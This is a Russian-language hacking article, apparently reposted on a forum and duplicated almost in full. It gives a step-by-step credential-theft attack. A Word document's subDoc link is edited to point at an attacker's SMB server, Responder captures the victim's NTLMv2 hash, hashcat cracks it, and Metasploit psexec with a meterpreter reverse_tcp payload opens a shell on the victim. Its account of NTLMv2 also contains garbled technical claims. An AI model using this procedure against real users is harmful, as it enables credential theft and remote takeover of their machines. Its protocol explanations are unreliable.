HHIDE_DUMP
Гость
H
HHIDE_DUMP
Гость
Содержание статьи
SMB
SMB — это сетевой протокол, который служит в основном для доступа к данным на удаленном компьютере. Говоря проще, когда ты пытаешься залезть на шару, то как раз им и пользуешься. Выпущен он был в далеком 1983 году, но лишь со времен Windows 2000 стал походить на тот, каким мы его знаем сейчас (например, работать на 445-м порте).
Сейчас есть три основные версии протокола. Существенная разница заключается в командах, пропускной способности (за счет разных вариантов кеширования) и обновлении безопасности (шифрование и заплатки дыр). Плюс разработчики не упускают возможности сделать работу с SMB более удобной, поэтому с каждым релизом в него добавляются разные плюхи (например, восстановление соединения при разрыве).
В рамках данной статьи мы рассматриваем конкретно SMBv2. Нам необходимо знать, что существует механизм защиты Microsoft SMB Protocol. Он основан на двух методах контроля доступа: share-level и user-level.
Для предоставления доступа методом share-level необходимо иметь соответствующий логин и пароль. После успешной аутентификации пользователь получает доступ ко всем данным, которые находятся на ресурсе.
Метод user-level также берет за основу логин и пароль. Отличие заключается в том, что в этом случае системный администратор задает список доступа, то есть явно указывает, каким пользователям и группам предоставить доступ к ресурсу. Нам интересен и тот и другой метод, так как в обоих случаях способ аутентификации остается неизменным — NTLMv2.
NTLMv2
Нас интересует именно NTLMv2, так как SMBv2, который мы будем рассматривать, использует его. Эта версия протокола сетевой аутентификации появилась во времена Windows NT 4.0 SP4 и с небольшими изменениями дожила до наших дней в составе Windows 10. В NTLMv2 используется одноименный тип рукопожатий (NTLMv2 handshake), считающийся более безопасным, чем устаревшие LM и NTLM первой версии.
Работает все следующим образом. При открытии документа со ссылкой на сетевую шару клиент (которым в нашем случае будет компьютер жертвы) передает этому серверу команду на получение контента. Для этого он отсылает ему имя пользователя и имя домена, на что сервер запускает процедуру авторизации по типу «запрос/ответ».
Он отправляет клиенту однократно используемое рандомное число — server nonce. В ответ клиент отсылает новый запрос, который содержит другое псевдослучайное число — client nonce и метку времени.
Запросы клиента и сервера объединяются в общий секрет (session nonce), из которого на стороне сервера вычисляется хеш сессии HMAC-MD5 или HMAC-SHA-256 (в зависимости от версии SMB и настроек безопасности).
На стороне клиента хеш сессии шифруется тремя ключами DES, генерируемыми из дополненного нулями и разделенного на три блока NT-хеша пользовательского пароля. Это и есть итоговый NTLMv2-ответ, который отправляется серверу.
Сервер объединяет NTLMv2-ответ со своим запросом и вычисляет от него новый хеш HMAC-MD5 или HMAC-SHA-256.
На финальном этапе контроллер домена получает хешированный NTLMv2-ответ вместе с запросами клиента и сервера. Он считывает из своей базы NT-хеш пользовательского пароля и расшифровывает полученный клиентский ответ. Если удачно — серверу возвращается ответ об успешной аутентификации.
Поясню для заядлых брутфорсеров: множество хешей NT составляет 2^128 (или более 340 тысяч дециллионов) вариантов. Средняя скорость брутфорса пар NTLM-хеш — пароль на компе с Core i7 и топовой видеокартой уровня GTX1080 составляет порядка 700 миллионов в секунду (зависит от программы и особенностей конфигурации). Поиск по радужным таблицам на нем же выполняется гораздо быстрее — на скорости около 100 000 миллионов в секунду.
Вопрос к читателю
Как ты думаешь, сколько времени потребуется на брутфорс пароля по NTLM-хешу при стандартном математическом ожидании 50% (то есть когда пароль отыскивается в первой половине множества перебираемых вариантов)?
Ответ для ленивых: комп сгорит быстрее.
Описание уязвимости
В конкретном примере рассматривается частный случай атаки Pass the Hash, подробности о которой читай во врезке. Атаковать мы будем с помощью Office Open XML. Это формат хранения офисных документов, и представляет он собой не что иное, как обычный ZIP-архив, в который упакованы текст, графика и остальные данные. Нам необходимо заставить документ обратиться к удаленному (естественно, подконтрольному нам) SMB-серверу, перехватить трафик и выудить оттуда хешированные учетные данные. Для этого воспользуемся возможностью данного формата встраивать в тело документа текст из другого документа (субдокумента).
В частности, в MS Office имеется функция под названием
К примеру, возьмем два файла: doc1 и doc2. Вставим при помощи функции subDoc текст из doc1 в doc2. Изменим текст в doc1. Теперь при открытии файла doc2 он обратится к источнику текста и внесет те же самые изменения, а точнее — просто обновит содержимое.
Фокус в том, что мы можем модернизировать файл doc2 таким образом, чтобы он ссылался на файл на удаленном сервере (неважно, в локальной сети это будет или за NAT). На этот раз, открывая doc2, Word обратится по SMB-протоколу за содержимым, что позволит нам перехватить трафик и достать оттуда необходимые нам данные. Если файл будет недоступен, то документ просто не сможет обновиться.
Делать мы будем так, чтобы ссылка была вообще не на файл, а просто на сервер по SMB. На том конце, естественно, кто-то встретит нужные пакеты и получит заветный логин (в открытом виде) и NTLMv2-ответ (с которым в итоге и нужно развлекаться). При этом на стороне атакуемого не будет никакой подозрительной активности. Он просто открывает файл.
Pass the Hash
Для реализации описанной выше теории нам необходимы четыре вещи:
Создаем вредоносный файл
На GitHub уже выложен инструмент под названием
Создаем два файла .doc (doc1 и doc2). В документ doc1 пишем любой текст, сохраняем его и закрываем. Затем открываем doc2. На примере MS Word 2007: открываем вкладку «Вставка» и выбираем «Объект → Объект».
Вставка субдокумента
В открывшемся окне переходим на вкладку «Создание из файла». Заполняем поле «Имя файла», указывая на doc1. Обязательно устанавливаем флаг «Связь с файлом».
После этого в теле документа появится вставка в виде текста из doc1. Не забываем сохранить и закрыть.
Пока все легко и просто. Следующим шагом нам предстоит исследовать глубины структуры документа. «Разобрать» его можно разными способами — это обычный ZIP, поддержка которого изначально есть в Windows. Кому-то по душе внешние архиваторы, кто-то предпочитает файловые менеджеры с архивными плагинами — у каждого свои преимущества. Я для удобства использовал WinRAR.
Итак, открываем документ выбранным способом и идем в папку word\_rels. Нас интересует файл .rels. Распаковываем его из архива и открываем с помощью «Блокнота». Самая интересная часть — это ссылка на файл.
Ссылка, которую будем менять
Ее необходимо отредактировать таким образом, чтобы она имела вид Target=///IP, где IP — это адрес нашего сервера с запущенным Responder.
Затем сохраняем и закрываем «Блокнот». Упаковываем _rels на свое место, заменив им старую версию. На этом этапе подготовка закончена, переходим к атаке.
Перехватываем учетные записи
Нам необходимо иметь установленный Linux (если действия будут проходить за пределами локальной сети, то у нее должен быть белый IP-адрес). Я поднял для теста серверный дистрибутив Ubuntu и клонировал ветку Responder с
git clone
В папке Responder открываем в удобном нам редакторе Responder.conf и включаем SMB.
После этого, предварительно посмотрев IP нашего сервера, запускаем новоиспеченный пакет. Запуск необходимо проводить от root. После ключа –I должно идти название сетевого интерфейса, который будет принимать пакеты.
sudo ./Responder –I eth0
В выводе необходимо, чтобы SMB server был в статусе ON.
Запуск Responder
На этом подготовка нашего «перехватчика» завершена.
После того как мы закинем doc2 на компьютер жертвы и дождемся его открытия, он покажет пользователю свое содержимое, как обычный документ, ни о чем не предупредив. Пользователь увидит в нем текст, изначально сохраненный из doc1. По идее, когда Word не может установить связь с файлом, он должен выдать ссылку на него в теле документа, но на практике этого не делает. Подозрение может вызвать разве что необычная вставка текста.
Тем временем на стороне нашего сервера произошли изменения.
Перехваченные данные
Тут все ясно: мы перехватили часть учетных данных (имя пользователя и домен) в открытом виде и NTLMv2-SSP-хеш, который предстоит взломать. Плюсом нам выдан IP-адрес жертвы, а это тоже кое-что.
Брут пароля
Для получения пароля в чистом виде придется атаковать NTLMv2-SSP-хеш. Эффективнее использовать перебор по радужным таблицам или атаку по словарю, поскольку брутфорс может затянуться на годы, но для коротких несловарных паролей и он сгодится.
Для начала забираем перехваченную информацию с нашего сервера. Можно через SSH под линукс или воспользоваться старым добрым WinSCP для Windows. Необходимый log-файл будет лежать в каталоге Responder/logs с именем SMB-NTLMv2-SSP-IP.txt (очень даже символично).
Далее можно воспользоваться программой
hashcat –m 5600 [NTLMv2] –a 3 –status –o [file]
Вместо NTLMv2 необходимо подставить NTLMv2-ответ, содержащий зашифрованный хеш перехваченного пароля. Вместо file — файл, в который будет записываться статистика и (если повезет) найденный пароль.
Программа, в соответствии с внесенными данными, сама подберет маску для брута.
Запуск программы HashCat
Metasploit
Если тебе не нравится медитировать во время перебора паролей, на помощь придет старый добрый Metasploit Framework. У него уже из коробки есть эксплоит для PsExec (упрощенный вариант Telnet).
Запустим Metasploit и выберем эксплоит.
use exploit/windows/smb/psexec
Следом добавим «полезную нагрузку».
set payload windows/meterpreter/reverse_tcp
Смотрим таблицу данных, которые надо дать программе.
Опции, которые необходимо изменить
Нам нужно передать параметры: RHOST (IP-адрес компьютера жертвы), SMBPass (пароль или его хеш), SMBUser (имя пользователя из перехваченных учетных данных), LHOST (IP-адрес нашего компьютера с Metasploit Framework). Запускаем эксплоит, ловим сессию метерпретера и улыбаемся во все 32 (зуба, не бита)!
Заключение
Все мои попытки запретить обращение функции к «субдокументу» средствами безопасности Word закончились провалом: не помогает даже запрет на редактирование и отключение ненадежных документов. Более того, любая программа, которая понимает Office Open XML, сможет при открытии обратиться к SMB-серверу, со всеми вытекающими учетными данными (в прямом смысле этого выражения).
Эта функция, как ни странно, не была публично признана как вредоносная. Поэтому на момент написания статьи такой файл не детектируется как потенциально опасный ни одним антивирусом.
В Microsoft также не планировали предпринимать никаких действий по этому поводу. В итоге мы получаем очень легкий в реализации (практически в три клика) способ похитить учетные данные, что совсем не весело.
Самый верный способ защиты — это закрыть или отключить SMB, если в нем нет необходимости. Однако при этом ты потеряешь
- SMB
- NTLMv2
- Вопрос к читателю
- Описание уязвимости
- Pass the Hash
- Подготовка
- Создаем вредоносный файл
- Перехватываем учетные записи
- Брут пароля
- Metasploit
- Заключение
SMB
SMB — это сетевой протокол, который служит в основном для доступа к данным на удаленном компьютере. Говоря проще, когда ты пытаешься залезть на шару, то как раз им и пользуешься. Выпущен он был в далеком 1983 году, но лишь со времен Windows 2000 стал походить на тот, каким мы его знаем сейчас (например, работать на 445-м порте).
Сейчас есть три основные версии протокола. Существенная разница заключается в командах, пропускной способности (за счет разных вариантов кеширования) и обновлении безопасности (шифрование и заплатки дыр). Плюс разработчики не упускают возможности сделать работу с SMB более удобной, поэтому с каждым релизом в него добавляются разные плюхи (например, восстановление соединения при разрыве).
В рамках данной статьи мы рассматриваем конкретно SMBv2. Нам необходимо знать, что существует механизм защиты Microsoft SMB Protocol. Он основан на двух методах контроля доступа: share-level и user-level.
Для предоставления доступа методом share-level необходимо иметь соответствующий логин и пароль. После успешной аутентификации пользователь получает доступ ко всем данным, которые находятся на ресурсе.
Метод user-level также берет за основу логин и пароль. Отличие заключается в том, что в этом случае системный администратор задает список доступа, то есть явно указывает, каким пользователям и группам предоставить доступ к ресурсу. Нам интересен и тот и другой метод, так как в обоих случаях способ аутентификации остается неизменным — NTLMv2.
NTLMv2
Нас интересует именно NTLMv2, так как SMBv2, который мы будем рассматривать, использует его. Эта версия протокола сетевой аутентификации появилась во времена Windows NT 4.0 SP4 и с небольшими изменениями дожила до наших дней в составе Windows 10. В NTLMv2 используется одноименный тип рукопожатий (NTLMv2 handshake), считающийся более безопасным, чем устаревшие LM и NTLM первой версии.
Работает все следующим образом. При открытии документа со ссылкой на сетевую шару клиент (которым в нашем случае будет компьютер жертвы) передает этому серверу команду на получение контента. Для этого он отсылает ему имя пользователя и имя домена, на что сервер запускает процедуру авторизации по типу «запрос/ответ».
Он отправляет клиенту однократно используемое рандомное число — server nonce. В ответ клиент отсылает новый запрос, который содержит другое псевдослучайное число — client nonce и метку времени.
Запросы клиента и сервера объединяются в общий секрет (session nonce), из которого на стороне сервера вычисляется хеш сессии HMAC-MD5 или HMAC-SHA-256 (в зависимости от версии SMB и настроек безопасности).
На стороне клиента хеш сессии шифруется тремя ключами DES, генерируемыми из дополненного нулями и разделенного на три блока NT-хеша пользовательского пароля. Это и есть итоговый NTLMv2-ответ, который отправляется серверу.
Сервер объединяет NTLMv2-ответ со своим запросом и вычисляет от него новый хеш HMAC-MD5 или HMAC-SHA-256.
На финальном этапе контроллер домена получает хешированный NTLMv2-ответ вместе с запросами клиента и сервера. Он считывает из своей базы NT-хеш пользовательского пароля и расшифровывает полученный клиентский ответ. Если удачно — серверу возвращается ответ об успешной аутентификации.
Поясню для заядлых брутфорсеров: множество хешей NT составляет 2^128 (или более 340 тысяч дециллионов) вариантов. Средняя скорость брутфорса пар NTLM-хеш — пароль на компе с Core i7 и топовой видеокартой уровня GTX1080 составляет порядка 700 миллионов в секунду (зависит от программы и особенностей конфигурации). Поиск по радужным таблицам на нем же выполняется гораздо быстрее — на скорости около 100 000 миллионов в секунду.
Вопрос к читателю
Как ты думаешь, сколько времени потребуется на брутфорс пароля по NTLM-хешу при стандартном математическом ожидании 50% (то есть когда пароль отыскивается в первой половине множества перебираемых вариантов)?
Ответ для ленивых: комп сгорит быстрее.
Описание уязвимости
В конкретном примере рассматривается частный случай атаки Pass the Hash, подробности о которой читай во врезке. Атаковать мы будем с помощью Office Open XML. Это формат хранения офисных документов, и представляет он собой не что иное, как обычный ZIP-архив, в который упакованы текст, графика и остальные данные. Нам необходимо заставить документ обратиться к удаленному (естественно, подконтрольному нам) SMB-серверу, перехватить трафик и выудить оттуда хешированные учетные данные. Для этого воспользуемся возможностью данного формата встраивать в тело документа текст из другого документа (субдокумента).
В частности, в MS Office имеется функция под названием
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
, о которой и пойдет речь. Сама функция ничего особо злого в себе не несет, так как предназначена она для динамического обновления контента.К примеру, возьмем два файла: doc1 и doc2. Вставим при помощи функции subDoc текст из doc1 в doc2. Изменим текст в doc1. Теперь при открытии файла doc2 он обратится к источнику текста и внесет те же самые изменения, а точнее — просто обновит содержимое.
Фокус в том, что мы можем модернизировать файл doc2 таким образом, чтобы он ссылался на файл на удаленном сервере (неважно, в локальной сети это будет или за NAT). На этот раз, открывая doc2, Word обратится по SMB-протоколу за содержимым, что позволит нам перехватить трафик и достать оттуда необходимые нам данные. Если файл будет недоступен, то документ просто не сможет обновиться.
Делать мы будем так, чтобы ссылка была вообще не на файл, а просто на сервер по SMB. На том конце, естественно, кто-то встретит нужные пакеты и получит заветный логин (в открытом виде) и NTLMv2-ответ (с которым в итоге и нужно развлекаться). При этом на стороне атакуемого не будет никакой подозрительной активности. Он просто открывает файл.
Pass the Hash
Суть атаки передачи хеша состоит в том, чтобы вынудить атакуемый компьютер отправить на сетевой узел, подконтрольный хакеру, запрос, содержащий хешированный пароль текущего пользователя. В данной статье рассматривается вариант с использованием ссылки на общий сетевой ресурс в «злонамеренно составленном» документе формата Office Open XML. При открытии файла автоматически выполнится попытка авторизации по SMB без Session Security Flag, для чего отправится стандартный запрос, содержащий зашифрованный NTLM-хеш пароля.
Разумеется, это справедливо только в том случае, если на компьютере жертвы используется SMB-NTLM. Если корпоративная сеть мигрирует на Kerberos, изменится система «запрос/ответ». В ней появится промежуточный сервер, поэтому таким способом хеш перехватить уже не удастся. Подробнее см.
ПодготовкаПожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
c конференции Black Hat.Для реализации описанной выше теории нам необходимы четыре вещи:
- Любая Linux-машина (какой уж взлом без линуксов-то…).
- Пакет Microsoft Word, начиная с 2007.
- Прямые руки.
- Компьютер жертвы или его имитация.
- Ubuntu Server 16.04;
- MS Windows 7 Ultimate (сборка 7600);
- пакет MS Office 2010, стандартное издание.
Создаем вредоносный файл
На GitHub уже выложен инструмент под названием
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
, который позволяет одной командой создать вредоносный документ. Его можно скачать и опробовать, но настоящие герои всегда идут в обход.Создаем два файла .doc (doc1 и doc2). В документ doc1 пишем любой текст, сохраняем его и закрываем. Затем открываем doc2. На примере MS Word 2007: открываем вкладку «Вставка» и выбираем «Объект → Объект».
Вставка субдокумента
В открывшемся окне переходим на вкладку «Создание из файла». Заполняем поле «Имя файла», указывая на doc1. Обязательно устанавливаем флаг «Связь с файлом».
После этого в теле документа появится вставка в виде текста из doc1. Не забываем сохранить и закрыть.
Пока все легко и просто. Следующим шагом нам предстоит исследовать глубины структуры документа. «Разобрать» его можно разными способами — это обычный ZIP, поддержка которого изначально есть в Windows. Кому-то по душе внешние архиваторы, кто-то предпочитает файловые менеджеры с архивными плагинами — у каждого свои преимущества. Я для удобства использовал WinRAR.
Итак, открываем документ выбранным способом и идем в папку word\_rels. Нас интересует файл .rels. Распаковываем его из архива и открываем с помощью «Блокнота». Самая интересная часть — это ссылка на файл.
Ссылка, которую будем менять
Ее необходимо отредактировать таким образом, чтобы она имела вид Target=///IP, где IP — это адрес нашего сервера с запущенным Responder.
Затем сохраняем и закрываем «Блокнот». Упаковываем _rels на свое место, заменив им старую версию. На этом этапе подготовка закончена, переходим к атаке.
Перехватываем учетные записи
Нам необходимо иметь установленный Linux (если действия будут проходить за пределами локальной сети, то у нее должен быть белый IP-адрес). Я поднял для теста серверный дистрибутив Ubuntu и клонировал ветку Responder с
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
. Этот инструмент умеет слушать разные протоколы и выуживать из запросов учетные данные.git clone
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
В папке Responder открываем в удобном нам редакторе Responder.conf и включаем SMB.
После этого, предварительно посмотрев IP нашего сервера, запускаем новоиспеченный пакет. Запуск необходимо проводить от root. После ключа –I должно идти название сетевого интерфейса, который будет принимать пакеты.
sudo ./Responder –I eth0
В выводе необходимо, чтобы SMB server был в статусе ON.
Запуск Responder
На этом подготовка нашего «перехватчика» завершена.
После того как мы закинем doc2 на компьютер жертвы и дождемся его открытия, он покажет пользователю свое содержимое, как обычный документ, ни о чем не предупредив. Пользователь увидит в нем текст, изначально сохраненный из doc1. По идее, когда Word не может установить связь с файлом, он должен выдать ссылку на него в теле документа, но на практике этого не делает. Подозрение может вызвать разве что необычная вставка текста.
Тем временем на стороне нашего сервера произошли изменения.
Перехваченные данные
Тут все ясно: мы перехватили часть учетных данных (имя пользователя и домен) в открытом виде и NTLMv2-SSP-хеш, который предстоит взломать. Плюсом нам выдан IP-адрес жертвы, а это тоже кое-что.
Брут пароля
Для получения пароля в чистом виде придется атаковать NTLMv2-SSP-хеш. Эффективнее использовать перебор по радужным таблицам или атаку по словарю, поскольку брутфорс может затянуться на годы, но для коротких несловарных паролей и он сгодится.
Для начала забираем перехваченную информацию с нашего сервера. Можно через SSH под линукс или воспользоваться старым добрым WinSCP для Windows. Необходимый log-файл будет лежать в каталоге Responder/logs с именем SMB-NTLMv2-SSP-IP.txt (очень даже символично).
Далее можно воспользоваться программой
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
. Команда будет выглядеть следующим образом:hashcat –m 5600 [NTLMv2] –a 3 –status –o [file]
Вместо NTLMv2 необходимо подставить NTLMv2-ответ, содержащий зашифрованный хеш перехваченного пароля. Вместо file — файл, в который будет записываться статистика и (если повезет) найденный пароль.
Программа, в соответствии с внесенными данными, сама подберет маску для брута.
Запуск программы HashCat
Metasploit
Если тебе не нравится медитировать во время перебора паролей, на помощь придет старый добрый Metasploit Framework. У него уже из коробки есть эксплоит для PsExec (упрощенный вариант Telnet).
Запустим Metasploit и выберем эксплоит.
use exploit/windows/smb/psexec
Следом добавим «полезную нагрузку».
set payload windows/meterpreter/reverse_tcp
Смотрим таблицу данных, которые надо дать программе.
Опции, которые необходимо изменить
Нам нужно передать параметры: RHOST (IP-адрес компьютера жертвы), SMBPass (пароль или его хеш), SMBUser (имя пользователя из перехваченных учетных данных), LHOST (IP-адрес нашего компьютера с Metasploit Framework). Запускаем эксплоит, ловим сессию метерпретера и улыбаемся во все 32 (зуба, не бита)!
Заключение
Все мои попытки запретить обращение функции к «субдокументу» средствами безопасности Word закончились провалом: не помогает даже запрет на редактирование и отключение ненадежных документов. Более того, любая программа, которая понимает Office Open XML, сможет при открытии обратиться к SMB-серверу, со всеми вытекающими учетными данными (в прямом смысле этого выражения).
Эта функция, как ни странно, не была публично признана как вредоносная. Поэтому на момент написания статьи такой файл не детектируется как потенциально опасный ни одним антивирусом.
В Microsoft также не планировали предпринимать никаких действий по этому поводу. В итоге мы получаем очень легкий в реализации (практически в три клика) способ похитить учетные данные, что совсем не весело.
Самый верный способ защиты — это закрыть или отключить SMB, если в нем нет необходимости. Однако при этом ты потеряешь
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
. Против данной атаки будет эффективен и переход на аутентификацию Kerberos.